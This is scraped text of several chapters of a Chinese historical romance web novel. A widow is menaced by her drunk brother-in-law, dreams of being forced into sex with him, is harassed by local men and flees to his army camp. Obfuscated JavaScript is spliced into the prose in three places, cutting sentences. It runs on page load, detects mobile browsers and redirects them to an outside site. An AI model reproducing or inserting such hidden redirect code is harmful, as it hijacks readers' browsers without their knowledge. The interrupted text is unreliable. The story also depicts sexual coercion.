她从矮桌旁站起,走到男人面前,踌躇了下,低头观察他是否真的醉过去,若是真醉了过去,得让人扶回房里。 没想到刚靠近,一只大手突然搂住她的腰肢,一个旋转竟然坐在周枭腰腹上。 一个巨大的轮廓带着温度,紧贴着她的裙襦。 15. 第 15 章 周府的正厅前后栽种花木叠石,流水潺潺,开阔的视野能将院内的景色收进眼底。 暮色降下来,空气中是沉静的傍晚气息,夹杂着院中窸窸窣窣蝉鸣鸟叫。与白天的火辣日头不同,日落之后,花草树木叠石都透着一股凉爽。 但卫瑜然并不觉得凉爽,她此刻心惊胆战,一颗心跳到了嗓子眼。眼前闪过纷乱的画面,那个东西的轮廓实在骇人,她不敢随便乱动。 她知道男人醉起来,什么都能做得出。 卫瑜然的手不知道应该放在哪里,方才失重旋转,她下意识撑在了男人结实的胸膛上。 如今她的指尖隔着衣裳布料染上了不属于她的温度。 “方才林大人的怀抱暖不?” 一道听不出意味的问话钻入耳内,卫瑜然脸色陡变,“周将军什么意思?” “我还有两日就离开,你倒是两天都等不了,就这么迫不及待想勾/引林大人?” 男人语气里的嘲讽渐浓,卫瑜然想从他怀抱里挣扎掉,可惜在男人强壮有力的双臂桎梏下,她纹丝不动,反而蹭得衣裳凌乱,磨得男人沉闷发出一声粗声。 卫瑜然有些害怕,叫回大哥,好提醒他们之间的身份,“大哥!我是你弟媳,你不能——” “我不能什么?”周枭盯着她脸上的惧意,一想到她在宴席上扑进林成弘的怀里,和对方眉来眼去,当他这个大哥是死人,周枭脸色愈发阴沉,“难道林成弘就可以?” “还是那个郝才捷可以?” “是,二弟去世了,你身为寡妇也确实可以改嫁,四处勾搭男人,甚至当着我的面和林成弘眉来眼去。” “大哥你说什么?!”卫瑜然气得发抖,原来,原来那天她脱/衣自证清白在他眼里根本是个笑话,他从来就没打算相信她! 直到现在,他还觉得自己和郝才捷有染!认为那本《春采图》是她的东西! “你放开我!”卫瑜然又气又惧,直觉告诉她,眼前的男人浑身散发着危险的气息,加上如此魁梧的身躯,她根本没有反抗的地步。 卫瑜然内心升腾起一股惧意,四肢发软,嗓音颤抖,“大哥你真的喝醉了……” “为什么要扑进林成弘怀里?” “解释!” “……大哥,真的是妾身不小心——妾身没有勾/引……” “狡辩。”男人的嗓音仿佛浸了寒冰,极致嘲讽。 卫瑜然脸色发白,趁着男人力度没有收紧,她猛地挣开,意欲逃离。 不料,刚走出一步,便被人拽了回去,她重重跌进周枭的怀抱里,熟悉的气息如潮水般包裹着她。 “大哥!”卫瑜然失声喊了声。 这一声落下,身下的男人便没了下一步动作,卫瑜然仍不敢掉以轻心,心跳加快,屏住呼吸,生怕他下一步做出过分的事。 时间消逝,粗重声越来越重,“出去!” 一声隐忍克制的怒喝自耳边传来,随后禁锢也撤去,卫瑜然得到自由,她迅速从他怀里退出来,防备地往后退。 “大哥……”至今脸色煞白,杏眼写满慌张。 周枭揉着太阳穴,从圈椅上站起,晃了下身子才站稳,抬眸扫了她一眼,尽管她的身段大部分隐藏在暮色中,但依旧能窥见窈窕的身段,淡淡的馨香。 卫瑜然更害怕了,不断往后退。 周枭没理她,摇晃往外走,走到门口怒喊一声:“李勇!” 卫瑜然站在屏风背后,隔着格子看那道魁梧背影,直到听到李勇应声过来。 “扶我回房去。”男人低沉沙哑的嗓音有一股磁性。 “是。” 卫瑜然亲眼看着主仆两人离开正厅,她这才松了口气跌坐在地板上。 她不知有多怕会发生那天的事情。 庭院外的叠石停落一只布谷鸟,从外望进空荡雅致的正厅,由于没有点灯,一片昏暗。 绿樱提着一盏油灯过来找人,“二少奶奶?” 她踏入正厅,看见二少奶奶的女儿红酒坛就放在矮桌上,地上掉落一只酒杯,她疑惑发生了什么,提着灯正一转身,就看到屏风后瘫坐在地上的女人。 “二少奶奶,您怎么了?!”绿樱上前关心,“您怎么坐在地上?” 卫瑜然抬头,看见绿樱在面前,这才稍微找回一些落地感,心中那股恐惧消散些许,“我没事。” 绿樱看到她脸色苍白,一脸后怕的样子,但她一个奴婢也不好过问二少奶奶的私事,忧心忡忡道:“那我们要先回凝香阁吗?” “嗯。”卫瑜然借着她的手站了起来,“先回去。” 回到凝香阁,经过一番梳洗后,随着夜深人静,卫瑜然躺在床榻上,仍然忍不住后怕地回想起傍晚暮色下,发生在正厅里的一幕。 卫瑜然闭上双眸,脑海里回荡的是那一声声带着嘲讽和愠怒的质问,质问她是不是要勾引林大人。 心口窒息胸闷,鼻尖一酸。 她今日只是小腿麻痹,才误扑到了林大人怀里。 这份被冤枉的委屈这会儿才如潮水般汹涌翻腾而起,险些淹没她的情绪,眼眶渐渐红了起来,又想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459149|141652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为这件事,大哥怀疑她,甚至不尊重她…… 卫瑜然不会感受错的,都说男人酒后容易犯错,上次不正是因为这样才让娘得逞了么。 这次也险些酿成错误—— 只是……她不明白为什么大哥突然控制得住自己,放了她,还先行离开。 难道是她那声“大哥”唤起了他对两人身份的认知? 卫瑜然想不明白,却又感到后怕,随着困意袭来,渐渐入睡,然而梦中又开始做噩梦。 白玉肤色融进暗暮,细若蚊蝇的哭声渐渐漫开。 “大哥,妾身是你弟媳……”女人哭腔中夹着一句毫无震慑力的提醒,“你不能这样对妾身……” “你是不是打算趁我离开,等到周府只剩下你一个人,就和林成弘暗度陈仓?” “妾身没有……没有那种想法。”女人摇着头,拼命否认,可越否认,她承受的力度越大。 眼泪溢出眼眶,滑过女人姣好紧致的柔弱娇容,滴落进男人结实有力的腰腹…… 男人呼吸一窒,酒气在这一刻冲上天灵盖,前所未有的纠缠,融合,碾磨,翻转。 一阵夜风穿过屏风,稍微驱散了热气。 酒坛滚落地板,女人躺在矮桌上失神地闭上眼,一下又一下,这份不信任就好似有人隔空抽了她一耳光。 若是仔细看,全都是那本《春采图》上描绘的。 期间绿樱拎着一盏灯过来,然而在门口时,就被男人怒吼赶走了。 她看见绿樱手里哆嗦,站在外面候了一会,意识到里面发生了什么,她难过地别开脸,在廊庑外等。 “二少奶奶……” 她等啊等,等到快子时,才看到女人从里面摇摇晃晃一步一步出来。 她虚弱撑着门槛,眼神空洞。 绿樱赶忙上前扶住她柔弱的身躯,“二少奶奶,您没事吧?” “我没事……”女人扯了扯领口的衣衫,勉强维持她最后一点体面,艰难启唇:“回凝香阁。” “欸,好。”绿樱懂事地什么都不问。 艰难回到凝香阁,女人抿了抿干涸的嘴唇,“你去给我烧盆热水……” 她不要身上都是那个男人的气味,她要洗干净,夫君不会喜欢她身上有别的男人的气味的,哪怕这个人是他兄长。 “好,二少奶奶,奴婢现在就去给您烧热水,您在这歇会。”绿樱赶忙前去后厨。 人走了后,女人这才趴在桌上闷声哭泣,羸弱削肩受尽了委屈般一颤一颤。 “阿聿,你在哪里……” 16. 第 16 章 晨曦初露,雾色弥漫。 卫瑜然猛然从噩梦中惊醒,沁出一身冷汗,丫鬟过来安慰,她才缓和些许。 那个梦强烈的背德乱/伦始终让她如鲠在喉,孤苦无依任人欺负的委屈不全是梦中那个女人的心境,也是她当下的心境。虽说昨日没有发生实质性的接触,但她却是和大哥有过一次荒唐。 卫瑜然心神交瘁。 吃过早食,卫瑜然便看到李勇在后院安置了几辆马车,库房里堆放不少丝织品、帛、药材等。几名侍卫在马车前装载货物。 再过一天,他们就要回北方军营了。 卫瑜然心情复杂,却又隐隐高兴着,他们离开,意味着这个家只剩下她,哪怕周枭再怀疑自己,她也不用再提心吊胆会发生昨天那种事。 “二少奶奶,周统制过来了。”绿樱提醒说。 卫瑜然转过身,就看到周枭那人高马大的身形往她这边走过来,身形上的压制让卫瑜然一下子想起昨天险些擦枪走火的禁锢。 铜墙铁壁一样的胸膛和手臂,仿佛能将她如蝼蚁般捻死。 她下意识后退一步,却又在余光瞥到绿樱在场,她不应该这样下周家唯一家主的脸面。 “见过大哥。”她作揖,终究还是喊回大哥,许是潜意识里,这个称谓能保护她。 周枭不是没看到她的小动作,今早醒来就想起了昨天在正厅发生的事,沉默良久,第一次觉得自己差点做了禽兽。 使眼色叫退了绿樱,周枭沉吟:“昨天的事,大哥抱歉,并非有意。” 卫瑜然诧异他竟然道歉,还以为他会继续羞辱自己,不分青红皂白污蔑自己勾引林大人,又紧接着勾引他这个大哥,粉饰男人的劣根性。 难道太阳打西边出来了么? “妾身能理解,毕竟大哥喝醉了。”卫瑜然语气虽冷,倒也给他一个台阶下。 周枭听出她的不待见,薄唇抿紧,“明日我便启程回营中,你一个女子在家若是遇到困难可来找大哥,另,每逢十五,我会往家中寄些银两回来,供家里开销。” 这话另一个意思便是,他默认她这个弟媳是家中唯一的家眷,吃穿用度不会因为她变成寡妇而短缺。 卫瑜然愕然抬眸,定定望着眼前男人,心里浪潮翻了又翻,这人竟然没有因为之前的怀疑而警告她,让她在家里好好遵守妇道,反而承诺不会短缺家用。 “多谢大哥厚待。”不管如何,起码她能在周府安身立命。 - 次日,后厨一大早便做了丰盛的一餐,好让周枭和他属下吃好喝好赶路。 卫瑜然和绿樱路过门口时远远一望,才发现这人和下属吃饭倒是没有太大的身份尊卑,如同兄弟一样,豪迈碰酒。 里面嘈杂一片。 到了辰时,饭饱喝足,几辆马车停在府前,车夫驾着马车,周枭和他几名侍卫各骑一匹马,护送这些物资上路。 周枭在前头,空中一只雕鹰扑腾两下,站在他右肩上。 卫瑜然站在周府门口,正准备目送他们离开,周枭启程前忽然转过头来,却是什么都没说。 卫瑜然与他对视的那片刻,猜不到他在想什么,是想警告她别趁他不在和别的男人有染?给他们周府丢人? 还是—— 没等卫瑜然想出另一种可能,那男人扫了一眼身后众人,突然开口:“走了!” 听不出喜怒的洪亮嗓音,像是在与她告别,又像是在通知侍卫和马夫可以启程了。 卫瑜然猜不出他是哪个意思,但她觉得至少不会是前者。 “二少奶奶,咱们回府吧?”绿樱看到一行人已经走远,叹了口气,竟有些怅然若失。 “嗯。” - 日子过去十来天,卫瑜然一直深居简出,账房的钥匙是她在管。 周府有几处房屋和田产租赁,这会儿到了月底,她得去收账了。水田租给了农户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459150|141652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是一年一收,房屋人口流动性大,她通常是一个月收一次赁钱。 她刚嫁过来时,夫君给她介绍这些家业,都处理得一塌糊涂,常常忘了收赁钱。幸好这三个多月以来,她已经将这些疑难杂症解决,打理得井井有条。 所有人都得按规矩来。 卫瑜然带上几名小厮,出门前去收账,刚收了几户,就在街头街巷听到了那些诽言。 无非就是说她一介寡妇,和哪个男人有一腿。 甚至连卖猪肉的都和她有关系。 卫瑜然听得难受,收了账后就径直回府,没想到一名孩童在府前似乎在等她。 “请问是周府二少奶奶吗?”孩童问。 “我是。” “这是解元郎让我转交给你的信。”孩童递给她一封信。 卫瑜然一听到郝才捷这个人,就不免想起对方下作的无耻举动,十来天前,就听说了坊间传闻,说他被人打了,手腕根骨断裂,报了官还查不到人,只能不了了之。 也是活该。 卫瑜然本想拒绝,转眼又想到这可能是夫君写给自己的遗信,她只好收下。 抱着几分期待回到凝香阁,然一拆开,就被上面令人作呕的狎昵淫靡用词恶心到,气得她当场撕碎。 卫瑜然想过报官让官府的人收拾这个人品不正的解元,让百姓看看这个解元到底是怎么样的一个禽兽,却又怕反而被人污蔑与解元有染。 想过和旁人诉一诉苦算了,却又担心传了出去,败坏更多的名声。 卫瑜然思来想去,最后想到周枭,他临走前说有困难可以找他,况且大哥也知道郝才捷的真实为人,她当即想写一封信寄过去,却又在落笔时清醒过来。 那日脱衣自证都得不到一句清白,她又怎能保证大哥看到信后相信她,而不是怀疑她? 男人的劣根性,面对流言蜚语,即便是同床共枕的媳妇都会怀疑,更何况她只是他守寡的弟媳。 17. 第 17 章 这件事终究还是不了了之,卫瑜然一连好几天都吃不下饭。 直到知州夫人要举办寿宴,请她过去,她才不得不出门。 知州夫人年三十,富态可掬,雍容华贵,这是卫瑜然第一次见她,上次知道这位夫人还是她和周贯聿成婚那日,虽说周长史已去世,家里人丁又稀少,但周府毕竟是个官,周贯聿又考了廪生没多久,大哥在外从军。 这些关系他们是要往来联络的。 卫瑜然对于自己被邀请过去赴宴,倒是不稀奇,毕竟她如今是周府唯一的女眷。 携绿樱登门拜访,恭贺之后,她便和其他赴宴的小姐夫人一同在林府花园赏花吃糕点。 因着她是寡妇,没几个人愿意和她说话,卫瑜然打算在礼数这方面做到周到,不落下话柄,就打算回府。 不曾想,在回去途中遇上林大人对她动手动脚。 “卫娘怎么这么生分?上次你可不是这样的。” 卫瑜然气得说不出话来,“林大人,不知妾身给了您什么错觉,竟让你有如此大的误会!” 她那天千真万确不小心才倒在他身上,根本不是那些乱七八糟的暧昧。 “原来卫娘那日并不是……”林大人饶有兴致瞧着她,“不过我林某倒是挺欣赏卫娘这般柔情似水的性子。” “……” 卫瑜然无言以对,无论她怎么说,这个林大人总能绕到这些话题上。 “近来我第十三妾病了,也是与你年纪相仿,却没几个闺中好友,若卫娘能来宽慰她,也是她一份福气。” 林成弘打量她上下,最后落在寡妇那张明艳绝色的脸上,十八岁的年纪正是玉软花娇的时候,却又因嫁了人,缀有少许少妇的姿态。 这份韵味由内而外散发出来,宛若一颗将熟未熟的樱桃,是他所有的妻妾中都不曾有的。 更何况,这卫娘也不是愚笨的女子,周府那些田产房屋被她打理得有条有序,为人处世方面又礼数周到,小小年纪,连他夫人都挑不出她的毛病。 要知她娘家也不过是镇州一户人家的小妾所生,却有一颗玲珑心,心思通透,可比旁人有趣多了。 卫瑜然哪里听不出他话外之意,明面上让她过来宽慰他第十三妾,实际上却是暗示她可以做他林知州的妾,试探她呢。 “林大人怕不是在和妾身开玩笑,堂堂知州大人家中女眷生病,府上众多姊妹想必心疼还来不及,怎会没有闺中蜜友?再者,夫人宅心仁厚,怕是比林大人更心疼。” 林成弘欲言又止,想说点什么,却又被这一番滴水不漏的话堵回去,他若是解释,家中女眷各有矛盾,那不是打了自己身为知州的脸? 不过正因为这样,林成弘愈发觉得卫娘性格对他口味。 卫瑜然寻了个借口离去,坐上马车,胸中仍旧窝火,一个两个男人曲解她的意思,偏偏她还不能说什么,只能一遍遍解释。 卫瑜然神情恹恹,一想到林知州借着关怀,假意碰她肩头,那虚伪的面孔,她只能忍着不适,一回到周府就迫不及待换了身上的衣裳。 本以为之后再无瓜葛,毕竟他们一个是锦州知州,一个是周长史府里的媳妇,林成弘再怎么也得顾忌两家的脸面。 可她万万没想到,两日后在街上遇到,彼时她正在玉器珠宝铺子买簪子,相中一支玛瑙石榴簪,被旁的小姐抢了去,她正要说话,不料林成弘出现,以知州大人的身份给她主持了公道。 碍于众人目光,卫瑜然不得不感谢他。 林成弘上前扶住她作揖矮下来的手肘,“快快起来,卫氏。” 卫瑜然晓得他对自己的称呼多变,在大哥面前喊弟媳,在林府无人处喊她卫娘,在众目睽睽之下喊她卫氏,花样多得就跟男人那些心思一样。 为减少接触,卫瑜然站了起来,直到离去,她仍能感受到背后有一道火热的目光。 如此过了段时间,卫瑜然愈发感觉到窒息,前有郝才捷,后有林成弘,这两人跟蛛丝似的缠得人喘不过气来。 坊间的传闻也愈发难以入耳,卫瑜然无人可以与之诉说,郁结于心,终于病了。 “二少奶奶……”这些时日,绿樱隐约察觉到不对劲的地方,但二少奶奶不提,她也不好开口,“知州夫人来看您了。” 卫瑜然强撑着身体起来,接见了知州夫人,知州夫人来到她的凝香阁,但卫瑜然并不觉得这需要知州夫人亲自来慰问。 果不其然,绿樱一走开,知州夫人便旁敲侧问她和林成弘的关系,还大度称若真是郎有情妾有意,她这个夫人倒也不是不能成就一桩美事。 这一番糖衣夹炮弹下来,卫瑜然有苦说不出,知州夫人怀疑她和林成弘有染,肯定是不乐意的,家里都有十三小妾了,但林成弘官居四品,位高权重,知州夫人即便再不满,也只能顺从林成弘的心意。 可谁都没考虑过她的感受。 她只是没了丈夫,成了寡妇,而不是人人可以随意处置的物品。 “林夫人多虑了,妾身对夫君情深意重,恨不能随他而去,对于林大人,妾身从来只 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绿樱叹了口气,除了娘家,二少奶奶还有哪里可以去?难道她要眼睁睁看着二少奶奶香消玉殒吗? 蓦地,她想到一个人,随即想到二少奶奶与他发生过的事情,犹豫起来,终究是什么都没说。 两日后,卫瑜然日渐消瘦,终日待在府里大门不出二门不迈。 直到郝才捷再次让人送信,卫瑜然直接让绿樱拿去烧了,绿樱烧前鬼使神差打开看,才知道二少奶奶这些日子都在遭受什么。 天杀的解元郎!面上端得一派正人君子,内心竟然如此肮脏龌龊,道貌岸然! 简直不敢想象二少奶奶这些日子都是熬过来的,怪不得总是让她烧毁这些书信。 绿樱看不下去,提议道:“二少奶奶,我们去找周统制罢!他毕竟是二少爷的亲大哥,他不会见死不救的。” 更何况,周统制还和二少奶奶有肌肤之亲,再怎么有违伦理,二少奶奶也算是周统制的女人。 卫瑜然很久没听到这个名字了,冷不丁被人当面提起,她脑海里仍是不受控想起那些过于亲密的交融结合。 那份背叛夫君的谴责,细细密密在胸口传开。 可她更想活下来,想体面地活在这个世上。 周枭二字在卫瑜然唇齿间呢喃而过,深深闭上双眸,他真的不会见死不救吗? 18. 第 18 章 层层云层淤积在一处,如同周府里那一方荷塘,水蛛咻地一下从一端滑到另一端。 一抹倩影经过荷塘边的连廊。 “二少奶奶,东西已经收拾好了,我们准备出发吧。” “好。” 卫瑜然回头望向凝香阁,思绪复杂,此时的周府上下仆人小厮都被她遣散了去,只剩下一个空壳。 如若不是周围狼豺虎豹盯着她,她也不会在这个时候选择去投靠远在北方的大哥。她实在是没有办法了,只能放手一搏。 如若不行,她再想办法。 绿樱掀开车帷,扶着卫瑜然上去,随着周府朱漆大门一关,一辆马车在众目睽睽之下驶离锦州。 一路上周波劳顿,先行水路,再行陆路,才在半个月后抵达遥州的元台新寨。 遥州位于三国边境处的交界地,因地势多良田平地,遥州城内百姓自给自足,与南方货殖往来密切,富庶繁荣,常引来匈奴游牧民族的袭击。 因而,元台新寨应运而生。 当卫瑜然主仆两人抵达元台新寨时,被寨前的拒马挡住去路,当即就有人上前询问来者何人。 卫瑜然掀开车帷,从马车下来,把她是周枭弟媳的身份告知,在绿樱忐忑的等待中,终于再一次见到了那个男人。 一段时间不见,这个男人似乎更加硬朗了,魁梧武将气息遮挡不住,气势威严。 周枭在听到他那位远在锦州守着周家的弟媳过来找他时,他正在训练场训练新兵。 “你再说一遍?谁?” 通报的侍卫说:“那位姑娘说是统制您的弟媳。” “……” 周枭不知想到了什么,剑眉拧紧,大步走出去,打算看看到底什么回事。 营寨门口前,一辆马车停在一旁,马车前站着两个人,周枭几乎是第一眼就看到了那个纤细的身影。 鹅颈上系着素色斗篷披风,纤细窈窕的身段尽数藏在里面,头上素净,满头青丝只用了几支玉色簪花盘起来的发髻,莹白耳垂缀着珍珠耳坠,雅致温婉。 身旁的丫鬟背着包袱,如若不是家中出了事,周枭想不到她们两个弱女子怎会一声不吭千里迢迢赶来遥州找他? “家里发生了什么事?” 绿樱看了眼二少奶奶,欲言又止,倒是卫瑜然冷静些许,在此之前她就想好了借口。 “家里一切安好,妾身这次过来,是想给大哥带些妾身亲手做的糍糕,让大哥尝尝。” 绿樱心虚点头,从包里掏了出来,实际上,不过是路上买的口粮。 周枭神色变了几变,心下划过微妙的心思,随后狐疑紧盯着这个女人,又看了几眼绿樱手上提着的糕点。 卫瑜然被他盯着眼神不自然,垂眸扯了扯肩上的斗篷,好在对方没怀疑什么,就让她们进去了。 马车被人牵去马厩,她们两个则是直接被带去周枭平时休息的竹轩居,竹轩居里面还有个小花园,摆着围棋、兵书兵法、石锁等。 卫瑜然解开斗篷,中规中矩坐下,终于喝上了一口热茶。周枭就在她面前,叫退了其他人。 “说罢,到底是为了何事才来找我?” 他不信这个女人会为了给自己送点糍糕而赶赴千里。 卫瑜然抬眸坐在主座上的男人,想到他们之间的瓜葛,她自然是不可能将林成弘和郝才捷做的那些事告诉他,但这个男人是聪明的,探亲送糍糕这个理由并不能说服他。 只怪他们当初在周府发生了有违人伦的事,才让他们本该互相敬重的关系变得糟糕。 为了得到他的庇护,让她在营寨里住下,卫瑜然思来想去,最后只能搬出亡夫的信。 “夫君曾在信中承诺妾身,待他秋闱结束后,就带妾身到遥州探望大哥,可惜夫君已逝,妾身甚是遗憾,距离年末尚有几月,妾身想完成他的遗愿。” 说罢,卫瑜然从袖口里掏出亡夫生前给她写的信,递给周枭看。 人走近,女人的馨香飘荡在空中,周枭接过,扫了一眼上面的内容,确实有此事,心下信了大半,余光瞥到底下夹杂的夫妻间的蜜语,胸口忽然沉闷,目光落在眼前的女人身上,一脸坦然,又夹杂几分殷切希冀。 好似真的很想替二弟完成遗愿。 周枭神色不明将这封信还回去,对方伸手接过时,葱白细手好似抽芽的嫩笋,白璧无瑕。“既然如此,那就在这边住一段时间吧。” “谢大哥。” “下次别这么鲁莽,若是想来我这边,提前给我打声招呼,我好派人去接你们,一路上就你们两个女人,胆子也是大得很。” 锦州和遥州相隔千里,若是半路上遇上流寇,别想有好下场。 卫瑜然想到自己为了躲避林成弘和郝才捷的骚扰,千里迢迢来到北方投靠这个男人,一时间内心心酸不已,这已经是她想到的最好的出路了。 周枭看到她眼眶红起来,不禁反思自己方才语气也没重吧,怎么就把人说到快哭了? “好了,我让人给你安排住处,你且在这边住下便是,大哥不会赶你走。” 周枭让人安排卫瑜然住在他附近,毕竟是他的家眷,又让人到市集上采购一些女子用的物品。 训练场,李勇自从听说了周统制的弟媳过来之后,心情微妙,周统制和二少奶奶睡过的事,只有他知道,如今二少奶奶竟然不辞千里来到遥州看望周统制。 这…… 李勇看到周统制回来了,上前询问:“周统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481261|141652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制,是不是家中出了事,二少奶奶怎会突然过来?” “不是,二弟之前许诺她带她来我这边游玩,她是来完成二弟的遗愿的。” “原来是这样。”李勇表情怪异,当下觉得自己应该是多想了,“周统制,您在吃什么?” “红豆糍糕。”周枭吃了好几块,难得分一块给他。 “谢统制。”李勇爽朗接过,放到嘴里打算吃这好东西,没曾想嚼吧嚼吧咽下去后,觉得味道不对。 “周统制,这糍糕好像坏了。” 这话一落,周枭咀嚼的动作慢了下来,方才忽略的异味重新被他注意起来,越嚼越觉得不对味,面色不愉,这糍糕是那个女人从江南唯一带给他的东西。还说是亲手做的。 李勇想说点什么,接着就看到周统制转身而走,径直离开训练场,他十分不解。 - 周波劳顿这么久,好不容易到了元台新寨,幸好顺利住了下来,卫瑜然换了身衣裳。 绿樱在屋里给她铺设床铺,问起:“二少奶奶,为何我们不告诉周统制真实的原因?” 卫瑜然叹了口气:“这种事怎么能说出来,你还太小,以后你会明白的。” 精神放松下来,卫瑜然有些困意,正要入睡,没想到绿樱刚走立马就折返回来,说是周枭来找她。 她不得不强打起精神应对,以为被周枭知道了她来找他的真实目的。 “妾身见过大哥,大哥有什么事吗?” 周枭将剩下的糍糕扔到她桌上,卫瑜然心里一咯噔,心里闪过许多猜测,猜测他是不是知道这份糍糕是路上买的,根本不是亲手做的。 “大哥,这是?” 周枭居高临下盯着她,眉头紧锁,“为什么是坏的?” 卫瑜然愣了一下,看向桌上的糍糕,“怎么会是坏的?”她不禁伸手取了一块放嘴里品尝。 周枭眼光不动声色扫过她这动作,举手投足间流露出女子的温婉和细腻,将近两个月未见,她反倒是越发般般入画。 浅咬一口后,卫瑜然柳眉蹙起,举起袖口避着男人目光,将口中的糍糕都吐了出来,“估计是放的时间太长了,才变了味。” “大哥,妾身不是有意的。” 周枭听着她认错的腔调,轻软和缓,又如珠玉落盘,方才的郁闷一扫而光,“毕竟过了半个月,坏了也正常,你若是有空,明日再重新做一份吧。” 卫瑜然错愕,“可是……” “可是什么?” 卫瑜然这才知道算是搬起石头砸自己的脚,内心叫苦,她哪里会做糍糕,顶着男人的目光,她硬着头皮说:“营寨中没有做糍糕的器具。” “你需要什么,我让人去集市上买。” 19. 第 19 章 余晖铺满院落,卫瑜然在一阵整齐的操练声中惊醒过来,雄厚有力的喊声将心头那份对林成弘的惧意驱散。 也再收不到郝才捷书信里对她的语言狎昵。 这才想起她已经到了遥州,在周枭的元台新寨里,她是他弟媳,这里有上万名的兵。 不是在周府。 卫瑜然在缓神中,绿樱高兴过来道:“二少奶奶,您醒啦?周统制让人买了好些东西回来,您看这安神檀香,竟和锦州的一模一样。” 卫瑜然这才注意到屋里点了熏香,香味分毫不差,怪不得她方才起来时有些恍惚,还以为仍在周府。 绿樱脸上堆着笑意:“奴婢听说营寨里条件差,都是脏臭脏臭的男人,担心二少奶奶洗漱不方便,奴婢就去跟周统制说了这事,您猜怎么着?” 卫瑜然露出不明所以的眼神。 绿樱不卖关子了,笑嘻嘻说:“周统制说明天让人在旁边建一个浴房!” 整个军营里都是大男人,哪有那么细致的地方,来之前她格外担心二少奶奶在这边吃不好住不好,再怎么说二少奶奶也是江南地地道道养出来的水灵娘子,一朝来到北方,就怕受苦了。 卫瑜然听到这里,心里说不出什么感觉,他是夫君兄长,她是弟媳,也算是半个妹妹,兄长爱护妹妹,做这些事情似乎也正常。 “绿樱你会做红豆糍糕吗?” 她想起来唯一能报答回去的地方,也就只能做一些江南美食给那个男人吃了。 绿樱点头:“奴婢会做,二少奶奶是想吃了吗?” 卫瑜然摇头:“你教我。” 绿樱顿时想起那份被当作探亲礼品送给周统制的糍糕,难道是周统制吃完了,还想吃?二少奶奶打算再做一份? “你在想什么?”卫瑜然蹙眉。 绿樱赶忙摇头,扬着嘴角答应下来,她直觉定是二少奶奶做给周统制的,这样看来二少奶奶和周统制关系并没有想象中那么差。 这样一想,绿樱对当初听从朱姨娘,将二少奶奶送到周统制房里的愧疚稍稍减淡了些。 - 训练场那边刚结束操练,伙夫就搬出了做好的饭菜,士卒们一窝蜂涌过去,没个正形。 茶余饭后,不免八卦起来,“你们听说了没,今天咱们元台新寨来了个水灵灵的小娘子。” “长什么样?” “貌若天仙,那柳腰……啧啧勾魂,身段气韵远比常人。” “江南来的娘子?” “是,周统制的弟媳。” “统制他弟不是刚去世没多久吗?弟媳怎么过来军营了?” “不晓得。”有名新兵蛋子大胆猜测,“会不会是小娘子喜欢上大哥了?所以才千里迢迢找周统制?” 这话刚落,就被老兵踹了一脚,“你小子乱说些什么?统制也是你能随便非议?” 新兵蛋子悻悻收起调侃的笑,不敢再口出狂言。 营里住了个美娇娘,哪能不好奇,每个人路过周枭住处时,拼命伸长脖子,恨不能冲进周枭的竹轩居一睹芳颜。 人一多,就造成拥挤,李勇跟着周统制回来,就看到门口围着一大堆人,未等他开口,就听到身旁的男人,不怒自威厉声吼斥:“都杵在这做什么?!” 众人哑口,纷纷作鹌鹑低着头,在李勇的挥手示意下,才敢散开。 李勇打着圆场笑说:“应该是兄弟们对二少奶奶太热情了。” 周枭睥睨扫他一眼,“热情?我看是没见过女人。” 一个个围上来,把人当猴看。 李勇摸摸鼻子,有些兄弟确实口不择言,说话糙了些,管教两句也能堵住那张嘴。 周枭吃了饭,回到住处,碰见绿樱端着剩下的饭碗从卫瑜然屋里出来,他看了眼那扇门。 把人喊住,不经意问起:“怎么吃那么少?” 绿樱看到他,被他高大魁梧的身躯吓一跳,顿时后退一步,躬了躬身,“二少奶奶周波劳顿半个月,没什么胃口,还在适应中。” 周枭扫过托盘上的几个炊饼、羊肉、咸菜和汤水,眉头皱紧,想起卫瑜然那细皮嫩肉,这得靠江南精细米面才能滋养得出来。 挥手叫退人,周枭转头吩咐下属明日请个会做锦州菜的厨师。 处理完这一切,周枭刚要回住处,就看到卫瑜然那扇门动了下,他顿了顿。 门被人从里面打开,一抹窈窕身影走出,晃动的襦裙衬得她柳腰又细又紧致。 转过身来时,胸前裹着月白色抹胸,弧度饱圆,不知想到什么,男人负在背后的手不知不觉拢了拢。 卫瑜然没看到他,往竹轩居走去,她记得竹轩居旁边有个花园,花草叠石置景雅致悠然。 北方的天比南方暗得快,卫瑜然在周府时,时常饭后在凝香阁延伸出来的亭子里,坐下纳凉,四周通风,视野开阔,还能看得到荷塘和月色。 这是刚过来第一天,人生地不熟,哪也不能去, 